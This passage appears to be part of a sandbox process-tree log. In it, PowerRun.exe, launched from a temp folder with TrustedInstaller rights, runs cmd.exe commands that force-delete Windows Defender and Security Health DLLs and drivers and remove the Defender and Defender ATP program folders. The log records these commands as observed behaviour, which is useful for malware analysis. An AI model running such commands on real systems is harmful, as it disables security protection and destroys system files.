                                                                                                                                                                                                                                                                                                                                                              PID:5856
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthSsoUdk.dll""
                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5412
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthUdk.dll""
                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5824
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthUdk.dll""
                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:5776
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthUdk.dll""
                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6116
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthUdk.dll""
                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1900
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                    PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthAgent.dll""
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5432
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthAgent.dll""
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:5128
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthAgent.dll""
                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5248
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthAgent.dll""
                                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:392
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                            PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscapi.dll""
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5464
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscapi.dll""
                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:5588
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscapi.dll""
                                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:5724
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscapi.dll""
                                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5824
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6020
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\wscadminui.exe""
                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:2040
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\wscadminui.exe""
                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:5912
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\wscadminui.exe""
                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:5124
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\wscadminui.exe""
                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:3216
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:732
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1244
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5596
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:4620
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\GameBarPresenceWriter.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1236
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\DeviceCensus.exe""
                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:2592
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\DeviceCensus.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2424
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\DeviceCensus.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\DeviceCensus.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\SysWOW64\CompatTelRunner.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5872
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\SysWOW64\CompatTelRunner.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5196
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\SysWOW64\CompatTelRunner.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5520
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\SysWOW64\CompatTelRunner.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5420
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\system32\drivers\msseccore.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\system32\drivers\msseccore.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6100
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\system32\drivers\msseccore.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5676
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\system32\drivers\msseccore.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4132
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFltWfp.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFltWfp.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5272
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFltWfp.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\system32\drivers\MsSecFltWfp.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5636
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFlt.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3304
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFlt.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5580
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\system32\drivers\MsSecFlt.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2380
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\system32\drivers\MsSecFlt.sys""
                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3500
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5904
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1668
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5944
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c rmdir "C:\ProgramData\Microsoft\Windows Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Program Files (x86)\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c rmdir "C:\Program Files (x86)\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PowerRun cmd.exe /c rmdir "C:\Program Files\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Program Files\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5648
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Program Files\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c rmdir "C:\Program Files\Windows Defender Advanced Threat Protection" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PowerRun cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Security Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\ProgramData\Microsoft\Windows Security Health" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
